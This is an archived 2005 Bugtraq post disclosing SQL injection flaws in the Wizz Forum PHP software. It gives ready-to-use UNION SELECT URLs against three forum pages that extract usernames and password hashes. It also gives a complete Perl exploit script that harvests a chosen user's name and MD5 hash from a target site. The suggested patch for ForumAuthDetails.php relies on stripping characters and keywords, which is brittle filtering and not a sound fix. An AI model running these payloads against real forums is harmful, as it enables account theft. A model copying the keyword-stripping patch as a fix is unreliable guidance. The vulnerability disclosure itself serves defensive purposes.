bugtraq - Multible Sql injections in Wizz Forum

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 12 Nov 2005 23:48:24 -0000
From: s2b@...mail.com
To: bugtraq@...urityfocus.com
Subject: Multible Sql injections in Wizz Forum


Hello,,

Multible Sql injections in Wizz Forum ,,

Discovered by : HACKERS PAL

Thanks For :: DeviL-00 - Abducter(Abducter_Minds) - almaster

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

file : ForumAuthDetails.php
ForumAuthDetails.php?AuthID=-4654'%20union%20select%20password,userid,password,userid,5,6,7,"http://www.sqor.net",lastlogin,lastlogin,lastlogin,5465465464,8979878745%20from%20ForumUser%20where%20user_index=1

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

file : ForumTopicDetails.php
ForumTopicDetails.php?TopicID=-10%20union%20select%201,userid,password,userid,joindate,4444444,4444444%20from%20ForumUser%20where%20user_index=1

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

file : ForumReply.php
username
ForumReply.php?TopicID=-10%20union%20select%201,userid,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1
password
ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

How To Protect ..

open ForumTopicDetails.php
on line 28 After [ if (mysql_select_db ($MySQLDatabasename)) { ]
add : $TopicID=intval($_GET['TopicID']);

open ForumReply.php
on line 46 After [ if (mysql_select_db ($MySQLDatabasename)) { ]
add : $TopicID=intval($_GET['TopicID']);

open ForumAuthDetails.php
on line 28 : after [ if (mysql_select_db ($MySQLDatabasename)) { ]
add :-
            $AuthID=addslashes(htmlspecialchars($_GET['AuthID']));
            $AuthID=str_replace(",","",$AuthID);
            $AuthID=str_replace("'","",$AuthID);
            $AuthID=str_replace('"',"",$AuthID);
            $AuthID=str_replace("password","",$AuthID);
            $AuthID=str_replace("user","",$AuthID);
            $AuthID=str_replace("id","",$AuthID);


exploit :-
#!/bin/env perl
#//-----------------------------------------------------------#
#//        Wizz Forum SQL Injection Exploit .. By HACKERS PAL
#//                   Greets For Devil-00 - Abducter - Almaster
#//                          http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n#####################################################";
print "\n#        Wizz Forum Exploit By : HACKERS PAL        #";
print "\n#               Http://WwW.SoQoR.NeT                #";

if(!$ARGV[0] or !$ARGV[1]) {
print "\n# -- Usage:                                         #";
print "\n# -- perl $0 [Full-Path] [User ID]              #";
print "\n# -- Example:                                       #";
print "\n# -- perl $0 http://vubb.com/forum/1            #";
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";
    exit(0);
}
else
{
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";

        $web=$ARGV[0];
        $id=$ARGV[1];
$url = "ForumTopicDetails.php?TopicID=-10%20union%20select%20userid,password,password,userid,joindate,4444444,4444444%20from%20ForumUser%20where%20user_index=$id";
            $site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/<td width='100%' colspan='3'><font face='Arial' size='2'>(.*?)<\/font><\/td>/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/<font face='Arial' size='4'>Topic: (.*?)<\/font>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

}

# Finished